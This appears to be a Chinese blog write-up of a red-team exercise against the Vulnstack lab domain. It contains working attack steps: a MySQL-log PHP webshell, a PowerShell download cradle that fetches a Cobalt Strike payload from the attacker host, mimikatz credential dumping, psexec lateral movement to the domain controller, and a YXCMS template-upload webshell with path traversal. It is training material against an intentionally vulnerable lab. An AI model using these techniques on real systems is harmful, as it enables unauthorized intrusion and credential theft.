0x00 前言
最近一直在为找实习奔波,所以没有什么时间来学习。在咨询了内推的师傅得到HR没那么快来消息后,终于可以静下心来好好的提升自己一番。
0x01 环境搭建
下载
下载地址:(http://vulnstack.qiyuanxuetang.net/vuln/detail/2/)
3个靶机的压缩包总共为13GB,请确保自己有足够的空间。
环境搭建
解压后,使用VMware打开,初始密码都为hongrisec@2019
。登录后,要求改密码,这个就凭己所好了。
之后进行网络结构的搭建,其网络拓扑结构图如下:
搭建要点:
- 192.168.136.x为Nat模式,192.168.68.x为仅主机模式。
- 使用Vmware的设置将Win7中网卡数量增加为2,其中一个网卡使用Nat,另一个网卡使用仅主机模式。
- 在cmd中输入ncpa.cpl命令即可打开网络设置,修改其中的IPV4地址,并且手动指定DNS服务器为域控。
- 搭建过程中,发现主机Win2K3没有开启网卡,在我的电脑的设备管理中可将其开启。
- 域控Win Server 2008 R2中的DNS记录可能要稍微手动修改一下。
- Win7能够ping通kali,kali不能ping通Win7属于正常现象,因为Win7有防火墙阻拦,但不影响访问Web服务。
在搭建完成后,使用Win7中的PHPStudy开启Web服务,在Win10、Kali中测试是否可以访问。
0x02 攻击过程
信息收集
端口信息
使用Namp进行扫描:
nmap -sC -sV 192.168.136.130
开启了三个端口,服务分别为Apache Web、RPC、Mysql;系统为Windows;其中PHP版本为5.4.45、Apache版本为2.4.23。
网站信息收集
先访问Web服务,发现是一个phpStudy的探针:
暴露了网站的绝对路径,还有PHP的各种信息(包括版本、模块、组件等),另外还提供了一个MySQL数据库连接检测。使用弱密码进行测试,用户:root 密码:root
,显示“连接到Mysql数据库正常“,成功猜测出数据库密码。
指纹识别
使用Wappalyzer进行指纹识别:
其实,做了上面的端口扫描、和Web指针的信息收集后,整个网站的架构差不多都收集全了。
目录和敏感文件
使用dirmap、dirsearch或者是GoBuster、御剑进行目录的扫描:
python3 dirsearch.py -u http://192.168.136.130/ -e * -t 100
有phpinfo.php,还使用了phpMyAdmin。首先,先来看phpinfo.php,重点关注disable_functions、open_basedir、allow_url_include、session模块、Web根路径(DOCUMENT_ROOT)、启用模块,使用Ctrl+F进行快速检索,得到的信息汇总如下:
DOCUMENT_ROOT C:/phpStudy/WWW
allow_url_include Off Off
session.save_path C:\phpStudy\tmp\tmp C:\phpStudy\tmp\tmp
session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
session.serialize_handler php php
disable_functions no value no value
open_basedir no value no value
文件包含几乎是不能了,但是对Webshell的限制比较弱……之后再访问phpMyAdmin,由于刚刚已经猜测出了数据库用户和密码,所以这里可以直接连接。
使用dirmap扫描后,又有了新的发现:
python3 dirmap.py -i http://192.168.136.130/ -lcf -t 1000
可以看到,有一个beifen.rar,很明显是一个备份压缩包,先下载下来,之后再进行审计。
开始攻击
Mysql-GetShell
连接到phpMyAdmin之后,我们先查看是否有写入权限(这里是root,自然有),是否设置了secure_file_priv:
可以看到,值为NULL。但是,请注意,这并不是代表着没有限制,恰恰相反,这是完全限制!!!! 当有某个值时,表示只能写入到该目录,当为NULL时,表示都不能写入,而只有为空时,才是表示完全没限制。
并且这个变量,只能在my.ini,即mysql的配置文件中进行修改,所以我们这里显然就不能使用into dumpfile写入Webshell了。
这里我们尝试使用另外一种方法:log日志写入Webshell。具体操作的语句如下:
SHOW VARIABLES LIKE '%log%';
SET GLOBAL general_log = ON;
SET GLOBAL general_log_file = 'C:\\phpStudy\\WWW\\shell.php'; #注意两次反斜杠
SELECT "<?php @eval($_REQUEST[shell]); phpinfo();?>";
成功写入后,我们就可以使用蚁剑进行连接:
上线CS
因为拿到的就是Administrator权限,所以就不需要提权了。systeminfo查看后,发现有域,所以我们就可以接着来进行域渗透。
使用tasklist /SVC
先查询进程中的服务,复制结果到(http://payloads.net/kill_software/),判断是否使用杀软:
结果显示没有杀软程序,如果有我们之后就要做一些免杀工作。先上线CS,在Kali上启动teamserver:
./teamserver 192.168.136.128 mypassword
然后在Win10上,客户端启动start.bat进行连接,填入服务端的IP和密码。成功登录后,新建Listener,选择Beacon HTTP(Beacon为内置监听器;Foregin为外部监听器,用于与MSF等工具通信):
HTTP Hosts为shell反弹的主机,即我们kali的IP;HTTP Hosts (Stager)为Stager马请求下载payload的主机,也是我们的kali。
新建完Listener之后,开始生成Payload(标注了S的为Stageless马,是一个完整的后门程序,与之相反的是Stager马,Stager马类似于Webshell中的小马,会去对应服务器下载大马(stage),实现分阶段攻击),在菜单栏的Attacks里选择Web Drive-by,然后选择Scripted Wed Delivery (S),选择刚刚新建的Listener:
复制给出的Powershell命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('(http://192.168.136.128/a)'))"
在蚁剑中执行后,成功上线主机:
如果觉得回显太慢,可以使用sleep 秒数
来调低Beacon的心跳值。
内网信息收集
判断是否有域,是否在域内
除了上面提到过的systeminfo外,我们还可以使用ifconfig /all查看DNS服务器,看到域信息;另外还可以使用net view查看到与当前主机建立网络共享的主机名;使用net view /domain可以查看主域;使用net time /domain,如果成功执行,则表示当前主机在域内,如果显示WORKGROUP则表示不在域内,同时还会显示出时间服务器的名称,一般时间服务器就是域控;还可以使用net config workstation查看当前登陆域。
这里经过一系列查询,可以知道当前域为:god.org,当前主机名为stu1.god.org,时间服务器为owa.god.org
存活主机和端口探测
右键主机,选择Explore中的net view,或者在Beacon的shell中手动输入,即可查询到与此主机建立共享的其他主机。
或者使用port scan,也可以扫描出网段内存活的主机还有端口。扫描结果汇总如下:
192.168.68.130:139
192.168.68.130:135
192.168.68.130:80
192.168.68.129:777
192.168.68.129:139
192.168.68.129:135
192.168.68.129:21 (220 Microsoft FTP Service)
192.168.68.128:636
192.168.68.128:389
192.168.68.128:139
192.168.68.128:135
192.168.68.128:88
192.168.68.128:80
192.168.68.128:53
192.168.68.128:445 (platform: 500 version: 6.1 name: OWA domain: GOD)
192.168.68.129:445 (platform: 500 version: 5.2 name: ROOT-TVI862UBEH domain: GOD)
192.168.68.130:445 (platform: 500 version: 6.1 name: STU1 domain: GOD)
可以看到,都开启了445,即samba服务端口。
寻找域控
除了上文的net time /view确定时间服务器的名称外,我们还可以直接使用nslookup god.org来直接显示出域控的IP:
得到域控的IP为:192.168.68.128
此外,还可以使用ping域控主机名的方法,查看域控IP:
查看域控内用户
使用命令net user /domain,即可查看域控内的用户:
横向移动
抓取凭证
主机权限为administrator权限时(没有则要提权),可以使用使用hashdump读取LSASS进程内存中的本地用户密码Hash,使用logonpasswords,或者右键在Access中选择Run as mimikatz,即可使用mimikatz来读取登录过当前系统的用户的明文密码和Hash,之后在菜单栏的View中选择Credentials,即可看到抓取的各种凭证和密码:
31d6cfe0d16ae931b73c59d7e0c089c0是空值的HASH,没有意义。(目前太菜了,还不清楚原因)
除此之外,我们还可以在进程列表中窃取token,方法是:右键Beacon,然后选择Explore,然后选择Process List,之后选择一个是域内用户启动的进程点击Steal Token即可。
SMB Beacon
在上面的内网信息收集中,我们已经知道了三台主机都开启了samba服务的445端口,于是我们可以创建一个信息的SMB Beacon。SMB Beacon 使用命名管道(pipe)通过一个父 Beacon 进行通信。这种对等通信对同一台主机上的 Beacon 和 跨网络的 Beacon 都有效。因为封装在 SMB 协议中,可以绕过防火墙检测,因此得名 SMB Beacon。
首先,我们需要新建一个SMB的Listener(CS 4.0):
然后,我们在上线的主机上右键,选择spawn:
选择我们刚刚新建的Listener后,之久就会反弹出一个新的会话,并且有小圈圈:
在视图处,可以看到此时的连接关系:
psexec凭证登录
在前文,我们已经获得了域内主机信息,还读取了凭证与hash值,并创建了SMB Beacon,接下来我们就可以进行其他主机的横向移动了,这里使用psexec进行移动,他是Windows官方的远程主机维护工具。
在CS中,我们可以在目标主机上选择JUMP,然后选择psexec:
之后选择一个之前抓取的域内凭证,Listener选择创建的SMB Listener,Session选择刚刚的SMB Beacon,如下图:
等待之后,成功拿下域控。使用相同的办法,拿下另外一台主机,最后的拓扑图如下:
至此,整个内网渗透基本结束……其实还有权限维持、痕迹清理之类的,之后再学。
0x03 其他攻击方向
源码审计
之前拿到了beifen.rar,是一个cms的备份文件,所以我们在这里开始对他进行一次白盒审计+黑盒测试。
初步分析
首先是看到一个robots.txt,查看内容为:
#
# robots.txt for YXCMS
#
User-agent: *
Disallow: /data
Disallow: /protected
于是我们访问data目录,看到里面有两个文件夹:session和db_back。我们的优先目标是进入后台(在不使用之前的phpMyAdmin的情况下),所以就先看看db_back里面的文件,看看是否有数据库备份,留有用户密码。
在其中找到这样一句sql语句:
INSERT INTO yx_admin VALUES('1','1','admin','YX','168a73655bfecefdb15b14984dd2ad60','1384692085','127.0.0.1','0','','')
显然是一个admin用户的数据,但显然这里密码进行了加密,或许待会我们能够在源码中找到加密方式来解密。
之后,我们再来看看session文件夹中的文件,拥有三个session,如果这几个session没有过期的话,或许我们就能够借助其成功登录后台。其中一个session文件的内容如下:
verify|s:4:"4539";auth_groupid|s:1:"1";auth_power|i:-1;yxapppower|i:-1;admin_uid|s:1:"1";admin_username|s:5:"admin";admin_realname|s:2:"YX";admin_sortpower|s:0:"";admin_extendpower|s:0:"";
很明显就是上文的SQL中管理员用户“YX”,ID为”admin”。
架构和路由分析
无论我们使用什么方法来登录后台,第一步肯定要知道后台的URL,所以我们就需要先搞清楚这个CMS的网站架构和路由规则。
一般的CMS都是MVC架构,但这里并没有使用thinkPHP等框架。初步分析后,得到其架构如下:
一般我们不急着去代码中寻找URL解析代码,而是先黑盒看一下,随便点击网址的一个功能,观察URL:
http://192.168.136.130/yxcms/index.php?r=default/page/index&id=100003
熟悉MVC架构的人,可能一眼就能猜出来,其格式为:?r=模块名/控制器名/方法名
。这种猜测可以在代码中得到验证,在protected的core.php中我们找到了URL的解析代码:
$route_arr = isset($_REQUEST['r']) ? explode("/", htmlspecialchars($_REQUEST['r'])) : array();
$app_name = empty($route_arr[0]) ? DEFAULT_APP : strtolower($route_arr[0]);
$controller_name = empty($route_arr[1]) ? DEFAULT_CONTROLLER : strtolower($route_arr[1]);
$action_name = empty($route_arr[2]) ? DEFAULT_ACTION : $route_arr[2];
$_REQUEST['r'] = $app_name .'/'. $controller_name .'/'. strtolower($action_name);
define('APP_NAME', $app_name);
define('CONTROLLER_NAME', $controller_name);
define('ACTION_NAME', $action_name);
据此,我们根据目录结构:
便可以直接猜出后台地址为: ?r=admin/index/index
,跳转到了登录地址admin/index/login
后台登录
在上文我们初步分析后,提到过有两种方法来登录后台:使用session、破解出SQL中的密码。
在源码找到了密码的处理代码,如下:
$username=in($_POST['username']);
$password=$this->newpwd(in($_POST['password']));
#跟进newpwd:
//密码加密
protected function newpwd($password)
{
return md5(substr(md5($password),7,-9));
}
貌似……破解不了……那没办法了,那就试试session吧。根据PHP中的session规则,文件名为sess_123,则Cookie中PHPSESSID指定为123即可,所以我们这里就把Cookie修改一下:
之后再尝试访问admin/index/index
,成功登录后台:
当然,这里你也可以使用PHPMyAdmin添加一个新用户,或者是弱密码爆破登录(用户名为admin)。这里浅浅测试了一下,验证码存在重放漏洞,最后浅浅测试一下,即得到密码为:123456
写入Webshell
到了后台,可以看到有一个前台模板的模块,在其中可以新建和编辑由PHP构成的渲染模板。根据URL在源码中,可以很明显的发现这里可以写入Webshell:
public function tpadd()
{
$tpfile=$_GET['Mname'];
if(empty($tpfile)) $this->error('非法操作~');
$templepath=BASE_PATH . $this->tpath.$tpfile.'/';
if(!$this->isPost()){
$this->tpfile=$tpfile;
$this->display();
}else{
$filename=trim($_POST['filename']);
$code=stripcslashes($_POST['code']);
if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
$filepath=$templepath.$filename.'.php';
try{
file_put_contents($filepath, $code);
} catch(Exception $e) {
$this->error('模板文件创建失败!');
}
$this->success('模板文件创建成功!',url('set/tplist',array('Mname'=>$tpfile)));
}
}
只进行了stripcslashes,删除反斜杠,貌似没什么用……所以新建一个shell.php,并写入如下的内容:
<?php @eval($_REQUEST[shell]); ?>
访问路径,根据源码:
private $tpath='apps/default/view/';//前台模板路径
$tpfile=$_GET['Mname'];
$templepath=BASE_PATH . $this->tpath.$tpfile.'/';
$filepath=$templepath.$filename.'.php';
在本地找到对应路径为:protected/apps/default/view/default/xxx.php,访问:
之后连接对应Webshell即可与上文一样开展内网渗透。这里还可以在创建模板时,写成路径穿越的格式,写入到根目录:../../../../../../../../shell.php
,毕竟这里对文件名也没有做过滤。
MSF与CS联动
之前我们是一直使用CS的Beacon来进行后续攻击,但其实,MSF上的攻击模块是更加丰富的,我们可以前期使用MSF进行一系列探测与攻击,之后的横向移动再使用CS。
msf上线
在Webshell中发现有域后,我们尝试上线MSF。首先要使用MSF中的msfvenom制作一个后门程序。